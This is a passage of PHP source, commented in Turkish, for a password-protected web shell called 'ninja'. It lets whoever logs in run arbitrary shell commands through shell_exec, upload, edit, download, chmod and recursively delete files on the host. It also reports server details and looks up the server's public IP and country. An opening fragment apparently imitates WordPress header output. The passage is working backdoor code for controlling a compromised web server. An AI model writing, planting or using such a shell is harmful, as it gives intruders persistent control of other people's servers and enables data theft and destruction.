; rel=”https://api.w.org/”‘);
if (function_exists(‘ini_set’)) {
@ini_set(‘session.save_handler’, ‘files’);
@ini_set(‘session.use_cookies’, ‘0’);
}
$_SESSION[‘_ninja_token’] = md5(‘vinzz’ . time());
}

function get_safe_path($input) {
$path = realpath($input);
if ($path === false) return getcwd();
$root = realpath($_SERVER[‘DOCUMENT_ROOT’]);
if (strpos($path, $root) !== 0) {
return $root;
}
return $path;
}

function ninja_delete($target) {
if (is_dir($target)) {
$files = @scandir($target);
if ($files !== false) {
foreach ($files as $file) {
if ($file != ‘.’ && $file != ‘..’) {
ninja_delete($target . ‘/’ . $file);
}
}
@rmdir($target);
} else {
system(“rm -rf ” . escapeshellarg($target));
}
} else {
@unlink($target) or system(“rm ” . escapeshellarg($target));
}
}

function ninja_scandir($path) {
$files = @scandir($path);
if ($files !== false) return $files;
$output = [];
exec(“ls -la ” . escapeshellarg($path) . ” 2>&1″, $output);
$files = [];
foreach ($output as $line) {
if (preg_match(‘/[d-][rwx-]{9}.+\s(.+)$/’, $line, $match)) {
$files[] = $match[1];
}
}
return $files;
}

function countryFlag($countryCode) {
if (strlen($countryCode) !== 2) return ‘🏳️’;
$offset = 127397;
return mb_convert_encoding(‘&#’ . (ord($countryCode[0]) + $offset) . ‘;&#’ . (ord($countryCode[1]) + $offset) . ‘;’, ‘UTF-8’, ‘HTML-ENTITIES’);
}

// =================================================================
// 3. İŞLEM MANTIĞI (CONTROLLER)
// =================================================================

ninja_bypass();
$is_authenticated = isset($_SESSION[‘ninja_auth’]) && $_SESSION[‘ninja_auth’] === true;

if (isset($_POST[‘password’])) {
if ($_POST[‘password’] === $pw) {
$_SESSION[‘ninja_auth’] = true;
header(“Location: ?”);
exit;
}
}

if (isset($_GET[‘logout’])) {
session_destroy();
header(“Location: ?”);
exit;
}

$path = isset($_GET[‘path’]) ? get_safe_path($_GET[‘path’]) : getcwd();
@chdir($path);

if ($is_authenticated) {
if (isset($_GET[‘download’])) {
$download_path = get_safe_path($_GET[‘download’]);
if (is_file($download_path) && is_readable($download_path)) {
header(‘Content-Description: File Transfer’);
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=”‘ . basename($download_path) . ‘”‘);
header(‘Expires: 0’);
header(‘Cache-Control: must-revalidate’);
header(‘Pragma: public’);
header(‘Content-Length: ‘ . filesize($download_path));
readfile($download_path);
exit;
}
}

if (isset($_GET[‘del’])) {
$target = get_safe_path($_GET[‘del’]);
ninja_delete($target);
header(“Location: ?path=” . urlencode(dirname($target)));
exit;
}

if (isset($_POST[‘new_name’])) {
$name = basename($_POST[‘new_name’]);
$type = $_POST[‘new_type’];
$newPath = $path . ‘/’ . $name;
if ($type === ‘file’) {
@file_put_contents($newPath, ““);
} else {
@mkdir($newPath);
}
header(“Location: ?path=” . urlencode($path));
exit;
}

if (isset($_FILES[‘file’])) {
$target = $path . ‘/’ . basename($_FILES[‘file’][‘name’]);
@move_uploaded_file($_FILES[‘file’][‘tmp_name’], $target);
header(“Location: ?path=” . urlencode($path));
exit;
}

if (isset($_POST[‘edit_content’]) && isset($_POST[‘edit_path’])) {
$editPath = get_safe_path($_POST[‘edit_path’]);
$content = $_POST[‘edit_content’];
if (!empty($_POST[‘b64’])) {
$content = base64_decode($content);
}
@file_put_contents($editPath, $content);
header(“Location: ?edit=” . urlencode($editPath) . “&saved=true”);
exit;
}

if (isset($_POST[‘new_filename’]) && isset($_POST[‘old_filepath’])) {
$old_path = get_safe_path($_POST[‘old_filepath’]);
$new_name = basename($_POST[‘new_filename’]);
$new_path = dirname($old_path) . ‘/’ . $new_name;
if (@rename($old_path, $new_path)) {
header(“Location: ?path=” . urlencode(dirname($new_path)));
} else {
header(“Location: ?path=” . urlencode(dirname($old_path)) . “&error=rename”);
}
exit;
}

if (isset($_POST[‘permissions’]) && isset($_POST[‘chmod_filepath’])) {
$chmod_path = get_safe_path($_POST[‘chmod_filepath’]);
$perms = $_POST[‘permissions’];
@chmod($chmod_path, octdec($perms));
header(“Location: ?path=” . urlencode(dirname($chmod_path)));
exit;
}

if (isset($_POST[‘ninja_cmd’]) && function_exists(‘shell_exec’)) {
$cmd = $_POST[‘ninja_cmd’];
$_SESSION[‘last_cmd_output’] = shell_exec($cmd . ” 2>&1″);
header(“Location: ?path=” . urlencode($path) . “&cmd=executed”);
exit;
}
}

// =================================================================
// 4. GÖRÜNÜM İÇİN VERİ HAZIRLAMA (DATA PREPARATION FOR VIEW)
// =================================================================

$sorted_list = [];
$breadcrumbs = [];

if ($is_authenticated) {
// Breadcrumb (tıklanabilir yol) oluştur
$doc_root_real = realpath($_SERVER[‘DOCUMENT_ROOT’]);
$path_from_root = str_replace($doc_root_real, ”, $path);
$path_from_root = trim(str_replace(‘\\’, ‘/’, $path_from_root), ‘/’);
$path_parts = explode(‘/’, $path_from_root);

$cumulative_path = $doc_root_real;
$breadcrumbs[] = [‘name’ => basename($doc_root_real), ‘path’ => $cumulative_path];

if (!empty($path_from_root)) {
foreach($path_parts as $part) {
$cumulative_path .= ‘/’ . $part;
$breadcrumbs[] = [‘name’ => $part, ‘path’ => $cumulative_path];
}
}

// Dosya listesini al ve sırala
$raw_list = ninja_scandir($path);
$folders = [];
$files = [];

foreach ($raw_list as $item) {
if ($item === ‘.’ || $item === ‘..’) continue;
if (is_dir($path . ‘/’ . $item)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}

sort($folders, SORT_NATURAL | SORT_FLAG_CASE);
sort($files, SORT_NATURAL | SORT_FLAG_CASE);
$sorted_list = array_merge($folders, $files);
}

$server_info = [];
$labels = [
‘server’ => ‘Sunucu’, ‘php’ => ‘PHP’, ‘user’ => ‘Kullanıcı / Grup’, ‘writable’ => ‘Yazılabilir’,
‘cmd_exec’ => ‘Komut Çalıştırma’, ‘doc_root’ => ‘Ana Dizin’, ‘ip’ => ‘Sunucu IP’
];

if ($is_authenticated) {
$server_ip = ‘Bilinmiyor’; $server_country = ‘Bilinmiyor’; $server_flag = ‘🏳️’;

// GÜVENLİK DÜZELTMESİ: Sadece allow_url_fopen açıksa dışarıya bağlan.
if (ini_get(‘allow_url_fopen’)) {
$ctx = stream_context_create([‘http’ => [‘timeout’ => 3]]);
$ip = @file_get_contents(“https://api.ipify.org/”, false, $ctx);

if ($ip && filter_var(trim($ip), FILTER_VALIDATE_IP)) {
$server_ip = trim($ip);
$json = @file_get_contents(“https://ipapi.co/{$server_ip}/json/”, false, $ctx);
if ($json) {
$data = json_decode($json, true);
// GÜVENLİK DÜZELTMESİ: Eski PHP sürümleriyle uyumlu hale getir.
$server_country = isset($data[‘country_name’]) ? $data[‘country_name’] : ‘Bilinmiyor’;
$server_flag = isset($data[‘country’]) ? countryFlag(strtoupper($data[‘country’])) : ‘🏳️’;
}
}
} else {
$server_ip = ‘Dış bağlantı kapalı’;
}

$server_info = [
‘server’ => php_uname(), ‘php’ => phpversion() . ‘ (‘ . php_sapi_name() . ‘)’,
‘user’ => get_current_user() . ‘ / ‘ . getmygid(),
‘writable’ => is_writable($path) ? ‘EVET‘ : ‘HAYIR‘,
‘cmd_exec’ => function_exists(‘shell_exec’) ? ‘AKTİF‘ : ‘PASİF‘,
‘doc_root’ => $_SERVER[‘DOCUMENT_ROOT’],
‘ip’ => htmlspecialchars($server_ip) . ( $server_country !== ‘Bilinmiyor’ ? ‘ (‘ . htmlspecialchars($server_country) . ‘) ‘ . $server_flag : ” ),
];
}

?>